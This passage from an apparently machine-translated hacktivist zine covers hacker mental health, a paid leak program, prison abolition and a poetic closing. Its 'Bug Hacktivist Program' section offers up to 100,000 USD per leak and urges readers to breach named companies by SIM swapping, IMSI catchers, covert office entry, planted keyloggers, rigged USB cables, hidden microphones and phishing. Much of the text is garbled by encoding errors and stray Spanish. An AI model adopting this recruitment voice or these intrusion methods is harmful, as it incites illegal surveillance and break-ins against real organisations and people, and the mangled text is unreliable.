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* Momo - Michael Ende 
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* Letters to a young man poet - Rilke 
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* Dominion (Documentary) 
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  "we cannot believe that, if we do not look, what we do not want to see will not happen" 
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  - Tolstoy in ÐŸÐµÑ € вР° Ñ ?? Ñ ​​?? тупень 
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* Bash Back!
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- [13 - Heal] ------------------------------------------- --------------------- 
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The hacker world has a high incidence of depression, suicides and certain 
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battles with mental health. I don't think it's because of hacking, but because of the 
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kind of environment that hackers mostly come from. Like many 
1032
hackers, I grew up with little human contact: I was a girl raised by the internet. 
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I have my struggles with depression and emotional numbness. Willie Sutton 
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is frequently quoted as saying that he robbed banks because "that's where 
1035
the money is," but the quote is incorrect. What he really said was: 
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1037
    Why did he rob banks? Because I enjoyed it. I loved to do it. I was more
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    I live when I was inside a bank, in full robbery, than at any 
1039
    other time in my life. I enjoyed it so much that one or two weeks later I 
1040
    was already looking for the next opportunity. But for me the money was a 
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    minutiae, nothing more. 
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Hacking has made me feel alive. It started as a way to self-medicate the 
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depresión. Más tarde me di cuenta de que, en realidad, podía servir para hacer
1045
positive. I do not regret the way I grew up at all, it brought several 
1046
beautiful experiences to my life. But I knew I couldn't continue living 
1047
that way. So I started to spend more time away from my computer, with 
1048
other people, learning to open myself to the world, to feel my emotions, to
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connect with others, to accept risks and be vulnerable. Things much 
1050
harder than hacking, but at the mere hour the reward is worth it. It still makes 
1051
me an effort, but even if it is slow and wobbly, I feel that 
1052
I am on the right track. 
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1054
Hacking, done with conscience, can also be what heals us. According to the 
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Mayan wisdom, we have a gift granted by nature, which we must 
1056
understand to put it at the service of the community. In [1], it is explained: 
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    When a person does not accept his work or mission he begins to suffer 
1059
    enfermedades, aparentemente incurables; aunque no llega a morir en corto
1060
    time, but only suffers, with the aim of waking up or becoming 
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    aware. That is why it is essential that a person who has acquired the
1062
    knowledge and does his work in the communities must pay his Toj and 
1063
    maintain constant communication with the Creator and his ruwäch qâ € ™ ij, since he 
1064
    constantly needs the strength and energy of these. Otherwise, 
1065
    the diseases that reacted They could take the job or 
1066
    return to cause damage ± o. 
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If you feel that hacking is fueling your isolation, depression, or other 
1069
conditions, breathe. Give yourself some time to meet and become aware. You 
1070
deserve to live happily, with health and fullness. 
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 ________________________ 
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<All Cows Are Beautiful> 
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         \ 
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          \ ^ __ ^
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         ((__) \) \ / \ 
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          _) / || ---- w | 
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         (.) / || || 
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          `` 
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[1] Ruxeâ € ™ el mayabâ € ™ Kâ € ™ aslemäl: Root and spirit of Mayan knowledge 
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    https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748 
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- [14 - The Bug Hacktivist Program] ------------------------------ 
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It seems to me that hacking to get and filter documents of interest The public is 
1090
one of the best ways in which hackers can use their skills for the 
1091
benefit of society. Unfortunately for us hackers, as in almost 
1092
every category, the perverse incentives of our economic system do not match
1093
with what benefits society. So this program is my attempt to 
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make it possible for good hackers to earn a living honestly 
1095
by revealing material of public interest, instead of having to 
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sell their work to the cybersecurity, cybercrime industries. or 
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cyber war. Some examples of companyâ ± AAS whose leaks I'd love to 
1098
pay They're mining companies, logging and cattle looting our 
1099
beautiful Amà © rica Latina (and kill defenders of land and territory 
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trying to stop them ), companies involved in attacks on Rojava like 
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Havelsan, Baykar Makina, or Aselsan, surveillance companies such as the NSO group,
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war criminals and birds of prey such as Blackwater and Halliburton, private 
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penitentiary companies such as GeoGroup and CoreCivic / CCA, and corporate lobbyists such 
1104
as ALEC. Pay attention when choosing where to investigate. For example, it is 
1105
well known that oil companies are evil: they get rich at the cost of destroying 
1106
the planet (and back in the 80s the companies themselves already knew the 
1107
consequences of their activity [1]). But if you hack them directly, you will have 
1108
to dive through an incredible amount of boring information about 
1109
their daily operations. You will probably 
1110
find it much easier to find something interesting if instead you focus on your lobbyists [2]. Other
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One way to select viable objectives is to read stories of 
1112
investigative journalists (such as [3]), which are interesting but lack 
1113
solid evidence . And that is exactly what your hacks can find. 
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1115
I will pay up to 100 thousand USD for each such leak, according to the interest 
1116
público e impacto del material, y el laburo requerido en el hackeo. Sobra decir
1117
that a complete leak of the documents and internal communications of 
1118
any of these companies will be a benefit for the society that exceeds 
1119
those one hundred thousand, but I am not trying To enrich anyone. I just want to provide 
1120
enough funds so that hackers can earn a decent living 
1121
doing a good job. Due to time constraints and considerations of
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For sure, I am not going to open the material, nor inspect it for myself, but I will 
1123
read what the press says about it once it has been published, and I will make an 
1124
estimate of the public interest from there. My contact information is 
1125
at the end of the guide mentioned above [4]. 
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How you get the material is your thing. You can use the traditional 
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hacking techniques outlined in this guide and the previous one [4]. You could do a 
1129
swap sim [5] to a corrupt businessman or politician, and then download his emails and 
1130
backups from the cloud. You can order an IMSI catcher from alibaba and use it outside 
1131
its offices. You can do some war-driving (old or new
1132
[6]). You may be a person within your organizations that already has 
1133
access. You can opt for a low-tech old-school style like in [7] and [8], and 
1134
simply sneak into their offices. Whatever works for you. 
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[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ 
1137
    Sep / 19 / shell-and-exxons-secret-1980s-climate-change-warnings 
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[2] https : //theintercept.com/2019/08/19/oil-lobby-pipeline-protests/ 
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[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/ 
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[4] https://www.exploit-db.com/papers/41914
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[5] https : //www.vice.com/en_us/article/vbqax3/ 
1142
    hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin 
1143
[6] https://blog.rapid7.com/2019/09/05/this -one-time-on-a-pen-test-your-mouse-
1144
    is-my-keyboard / 
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[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI 
1146
[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss 
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---- [14.1 - Partial payments] -------------------------------------------------- 
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Are you a good-hearted waitress working in a company of evil [1]? 
1152
Would you be willing to sneak a physical keylogger into 
1153
an executive's computer, change your USB charging cable for a modified one 
1154
[2], hide a microphone in a meeting room where you plan your 
1155
atrocities, or leave one of these [ 3] forgotten somewhere in the 
1156
offices? 
1157
1158
[1] https://en.wikipedia.org/wiki/Evil_maid_attack
1159
[2] http://mg.lol/blog/defcon-2019/ 
1160
[3] https://shop.hak5.org/products/lan-turtle 
1161
1162
Are you good with social engineering and phishing, and did you get a shell in the 
1163
computer of an employee, or out there got their credentials vpn 
1164
using phishing? But maybe you couldn't get domain admin and download 
1165
what you wanted? 
1166
1167
Did you participate in bug bounce programs and become an expert in 
1168
web application hacking, but don't have enough hacker experience 
1169
to completely penetrate the company? 
1170
1171
Do you have facility with reverse engineering? Scan some evil companies 
1172
to see which devices are exposed to the internet (firewall, vpn, and
1173
email gateways will be much more useful than things like 
1174
IP cameras ), apply reverse engineering and find some exploitable vulnerability 
1175
remotely. 
1176
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If it is possible for me to work with you to penetrate the company and get 
1178
public interest material , you will also be rewarded for your work. If I 
1179
do n't have the time to work on it myself, at least I will try to advise you 
1180
on how to continue until you can complete the hacking on your own. 
1181
1182
Supporting those in power to hack and monitor dissidents, activists and 
1183
the general population is today an industry of several billion
1184
of dollars, while hacking and exposing those in power is a 
1185
voluntary and risky job. Turning it into an industry of several million 
1186
dollars will certainly not fix that power imbalance, nor will it 
1187
solve the problems of society. But I think it will be fun. So 
1188
... I want to see people starting to collect their rewards! 
1189
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- [15 - Abolish prisons] ----------------------------------------- -------- 
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                   Built by the enemy to enclose ideas by 
1194
                enclosing companions to silence war cries 
1195
                    is the center of torture and annihilation 
1196
                   where the human being becomes more violent
1197
              It is the reflection of society, repressive and prison 
1198
                   held and based on authoritative logic 
1199
                       guarded repressed and guarded 
1200
                   thousands of prisoners and prisoners are exterminated 
1201
                 before this schizophrenic and ruthless machine 
1202
                 companion Axel Osorio giving the stripping in the cane 
1203
                  breaking the isolation and silencing 
1204
                  fire and war to jail, we are destroying! 
1205
1206
                    Rap Insurgent - Words In Conflict It 
1207
1208
1209
would be typical to end a zine hacker saying release hammond, release
1210
manning, free hamza, free detainees by mounting the деР»Ð¾ Сети, 
1211
etc. I will take this tradition to its most radical consequence [1], and to say: 
1212
we must abolish prisons now! Being a criminal myself, you may 
1213
think that what happens is that I have a slightly skewed view of the matter. 
1214
But seriously, it is not even a controversial issue, even the UN 
1215
practically agrees [2]. So, once and for all, free the 
1216
migrants [3] [4] [5] [6], often imprisoned by those same countries that created 
1217
the war and the environmental and economic destruction from which they are fleeing. Free 
1218
all who are in prison for war against those who use drugs [7].
1219
Free all people imprisoned for war against the poor [8]. 
1220
The only thing they do is hide and ignore the proof of the 
1221
existence of social problems, instead of fixing them. And 
1222
until everyone is released, fight the prison system by remembering and 
1223
keeping in mind those who are trapped in there. Send them love, 
1224
letters, helicopters [9], pirate radios [10] and books, and support those who 
1225
organize from in there [11] [12]. 
1226
1227
[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/ 
1228
    Davis-Son-obsoletas-las-prison-final.pdf 
1229
[2] http://www.unodc.org/pdf / criminal_justice / Handbook_of_Basic_Principles_and_
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    Promising_Practices_on_Alternatives_to_Imprisonment.pdf 
1231
[3] https://www.theguardian.com/us-news/2016/dec/21/ 
1232
    us-immigration-detention-center-christmas-santa-wish-list 
1233
[4] https: // www. theguardian.com/us-news/2016/aug/18/us-border-patrol-facility- 
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    images-tucson-arizona 
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[5] https://www.playgroundmag.net/now/detras-Centros-Interizaje-Extranjeros- 
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    Spain_22648665.html 
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[6] https://www.nytimes.com/2019/06/26/world/australia/ 
1238
    australia-manus-suicide.html 
1239
[7] https://en.wikiquote.org/wiki/John_Ehrlichman# Quotes 
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[8] VI, 2. i. The unpaid fine: https://scielo.conicyt.cl/scielo.php?script= 
1241
    sci_arttext & pid = S0718-00122012000100005
1242
[9] p. 10, Libelo No. 2. Political bulletin from the High Security Prison 
1243
[10] https://itsgoingdown.org/transmissions-hostile-territory/ 
1244
[11] https://freealabamamovement.wordpress.com/fam-pamphlet-who-we-are/ 
1245
[12] https://incarceratedworkers.org/ 
1246
1247
1248
- [16 - Conclusion] -------------------------------- --------------------------- 
1249
1250
Our world is upside down [1]. We have a justice system that 
1251
represents injustice. Law and order are there to create an illusion 
1252
of social peace, and to hide the systematic and profound aspects of exploitation, 
1253
violence, and injustice. Better follow your conscience, and not the law. 
1254
1255
[1] http://resistir.info/livros/galeano_patas_arriba.pdf
1256
1257
Businessmen enrich themselves by mistreating people and the planet, 
1258
while care work is largely unpaid. Through the 
1259
assault on everything communal, we have somehow built up densely 
1260
populated cities , plagued by loneliness and isolation. The cultural, 
1261
political and economic system in which we live encourages the worst facets of 
1262
human nature : greed, selfishness and self-centeredness, competitiveness, lack of 
1263
compassion and attachment to authority. So that for anyone who has managed to 
1264
remain sensitive and compassionate in a world cold, for all heroÃnas 
1265
everyday practicing goodness in things small ± as, for all you who
1266
they still have a burning star in their hearts: гоpи, гоpи Ñ ?? Ñ ?? но, Ñ ‡ тоР± Ñ ‹Ð½Ðµ 
1267
погР° Ñ ?? л о! 
1268
1269
                     _____________________ 
1270
                    <Let's sing together! > 
1271
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1272
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1273
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1278
1279
                                 Open heart, 
1280
1281
                               feel you, open 
1282
1283
                              understanding
1284
1285
                            Leave the reason aside 
1286
1287
                And let the sun shine inside you 
1288
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1318
               Nosotras nacimos de la noche.
1319
               We live in it, we hack in it. 
1320
                
1321
               Here we are, we are the rebel dignity, 
1322
               the forgotten heart of the Ð˜Ð½Ñ‚ÐµÑ € Ð½ÐµÑ ‚. 
1323
                
1324
               Our fight is for memory and justice, 
1325
               and bad government is filled with criminals and murderers. 
1326
                
1327
               Our fight is for fair and decent work, 
1328
               and bad government and corporations buy and sell zero days. 
1329
1330
               For all tomorrow. 
1331
               For us, the cheerful rebellion of leaks 
1332
               and expropriation. 
1333
1334
               For all everything. 
1335
               For us nothing.
1336
1337
1338
               From the mountains of the Cyber ​​Southeast, 
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